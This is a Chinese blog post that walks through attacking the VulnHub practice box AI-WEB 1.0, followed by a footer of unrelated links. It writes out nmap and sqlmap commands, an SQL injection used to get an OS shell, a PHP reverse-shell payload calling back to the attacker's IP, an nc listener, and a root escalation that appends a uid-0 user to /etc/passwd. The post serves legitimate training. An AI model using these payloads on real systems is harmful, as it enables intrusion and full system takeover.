vulnhub靶场之AI-WEB1.0渗透记录
在本机电脑上自行搭建了一个练手的靶场,下面是记录渗透过程
目录
一、确认靶机ip
二、端口&目录扫描
三、查看敏感目录
四、sql注入
五、get shell
六、系统提权
确认靶机ip
kali下有个工具可以扫描ip:netdiscover
看看哪一个比较可疑,在浏览器访问,最终确认是172
整理一下:
kali:192.168.37.131
目标机:192.168.37.172
端口&目录扫描
a)使用nmap工具扫描一下靶机端口的开放情况
nmap -sV -p 0-65535 192.168.37.172
b)目录扫描
确认完端口之后,尝试目录爆破:
查看敏感目录
发现了3个目录,挨个试一下发现其他目录都是没有权限访问
尝试继续挖掘
在http://192.168.0.105/m3diNf0下发现info.php文件记录这各种php信息
这信息后面应该会用到把,先放着,看看有没有其他信息,在http://192.168.0.105/se3reTdir777/uploads/没有挖到任何目录,此时回过头来看看上一级目录是什么
好像发现了不得了的信息,是一个信息输入框,第一时间想到啊了输入框是否存在sql注入。
sql注入
a)验证漏洞是否存在
将1'带入输入框后报错,说明将1'数据带入到数据库了,是有注入点的
b)启动sqlmap
burpsuite抓包
然后用sql跑一下
sqlmap -u "http://192.168.37.172/se3reTdir777/" --data "uid=1&Operation=Submit" --level=3 –dbs
接着一个个爆库表列
扫了这么久竟然没找到后台登录界面,嗯,去借鉴一下别人博客吧
get shell
上面发现的info.php是否有利用价值呢?
发现了网站的国内目录,尝试sql看能不能反弹个shell:
sqlmap -u "http://192.168.37.172/se3reTdir777/" --data "uid=1&Operation=Submit" --level=3 --os-shell
/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/(之前一直尝试/home/www/html/web1x443290o2sdf92213/,发现不行,目前还搞不懂。)
系统提权
上传一个一句话木马进行反弹shell进行提权,先用python搭建一个简易的服务器,然后用wget进行下载:
a)先查看python的版本是2还是3
python2 :python -m SimpleHTTPServer 9000
python3 :python -m http.server 9000
b)wget -S http://192.168.37.172:9000/c1.php (靶机)
在这之前要先准备好这个文件,在本机上准备一个php文件,写入
<?php
$sock=fsockopen("192.168.37.131",9966);
exec("/bin/sh -i <&3 >&3 2>&3");
?>
(注意:这里的ip地址192.168.37.131是你的kali的ip,端口可以随便写,不要冲突就行,其他建议照抄)
在本机浏览器测试,是否成功开启
c)下载到kali中
d)开始监听端口
新建一个终端:nc -lvp 9966监听端口
(我这里只是方便演示,乱填得端口,实际上是要监听写入的php脚本中的对应端口)
然后再运行刚刚上传过来的php文件:php.c1.php
这一步没反应的话可以尝试多输入几遍,此时在返回nc中查看
成功了,并且可以执行各种命令
e)添加用户
发现当前用户不是root用户但是这个用户可以对/etc/passwd 文件进行写入权限,所以我们试着添加一个用户看看:因为写入的时候密码是加密的,所以要先加密密码:
openssl passwd -1 -salt web123 111111
然后再来写入密码:
echo 'web123:$1$web123$uV5A1jaPfeOZ.15vlE6cR/:0:0::/root:/bin/bash'>>/etc/passwd
写进去以后直接切换用户的会报错:
f)提升为交互式shell,再切换用户:
python -c 'import pty;pty.spawn("/bin/bash")'
g)成功进入到root用户,得到flag:
总结一下:学习到了sqlmao反弹shell,python在本地搭建服务器
疑问:
(1)sqlmap --os-shell时,为什么是选择/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/这个路径,info中显示网站根目录明明是/home/www/html/web1x443290o2sdf92213
(2)python -c 'import pty;pty.spawn("/bin/bash")'这是什么,具体每一个参数代表什么
(3)写入账号密码:echo 'abc:$1$abc$yzqAxwzjwaO0BUFj9nRwF/:0:0::/root:/bin/bash'>>/etc/passwdsu又这是啥,这如果搞不懂,完全记不住,也不会灵活运用啊
vulnhub靶场之AI-WEB1.0渗透记录的更多相关文章
- vulnhub靶场之JANGOW: 1.0.1
准备: 攻击机:虚拟机kali.本机win10. 靶机:JANGOW: 1.0.1,地址我这里设置的桥接,,下载地址:https://download.vulnhub.com/jangow/jango ...
- 【Vulnhub靶场】JANGOW: 1.0.1
时隔这么久,终于开始做题了 环境准备 下载靶机,导入到virtualBox里面,这应该不用教了吧 开机可以看到,他已经给出了靶机的IP地址,就不用我们自己去探测了 攻击机IP地址为:192.168.2 ...
- Vulnhub靶场题解
Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...
- VulnHub靶场学习_HA: ARMOUR
HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...
- Vulnhub靶场——DC-1
记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...
- VulnHub靶场学习_HA: InfinityStones
HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...
- VulnHub靶场学习_HA: Chanakya
HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...
- VulnHub靶场学习_HA: Natraj
HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...
- VulnHub靶场学习_HA: Chakravyuh
HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...
随机推荐
- 2. C++中的引用
1. 引用的基本使用 作用:给变量起别名 语法:数据类型 &别名=原名 注意: 别名数据类型与原名数据类型一致. 引用必须初始化. 引用一旦初始化后,就不可以更改(只能作为一个变量的别名) ...
- 1. 内存分区模型以及new、delete操作
C++程序在执行时,将内存大方向分为 4 个区域,不同区域存放的数据,赋予不同的生命周期,给我们更大的灵活编程 代码区:存放函数二进制代码,由操作系统进行管理 全局区:存放全局变量和静态数据以及常量, ...
- 利用DES,C#加密,Java解密代码
//C#加密 /// <summary> /// 进行DES加密. /// </summary> /// <param name="pToEncrypt&quo ...
- 【C++】《C++ Primer 》第十三章
第十三章 拷贝控制 定义一个类时,需要显式或隐式地指定在此类型地对象拷贝.移动.赋值和销毁时做什么. 一个类通过定义五种特殊的成员函数来控制这些操作.即拷贝构造函数(copy constructor) ...
- Azure 存储简介
Azure Storage Account(存储账户)包含所有Azure Storage的数据对象,包括Blob.Data Lake Gen2,File.Queue.Disk和Table等服务,该St ...
- c++ 参数传递与返回值详解(reference)
pass by value or pass by reference? 我们知道,当函数在传递值的时候,会新建一个变量(没有名字)储存这个值 然后传递.降低程序运行的效率. 如果使用引用(refere ...
- JavaScript中的事件委托机制跟深浅拷贝
今天聊下JavaScript中的事件委托跟深浅拷贝 事件委托 首先呢,介绍一下事件绑定 //方法一:通过onclick <button onclick="clickEvent()&qu ...
- ABAP program lines are wider than the internal table
错误详细描述: An exception occurred that is explained in detail below.The exception, which is assigned to ...
- [分享] 最流行的 10 个 JavaScript 库
1. Lodash https://github.com/lodash/lodash 一个工具库,用得还蛮多. 2. Chalk https://github.com/chalk/chalk 给终端加 ...
- DockerFile关键字相关作用以及解释
Dockerfile 关键字 作用 备注 FROM 指定父镜像 指定dockerfile基于那个image构建 MAINTAINER 作者信息 用来标明这个dockerfile谁写的 LABEL 标签 ...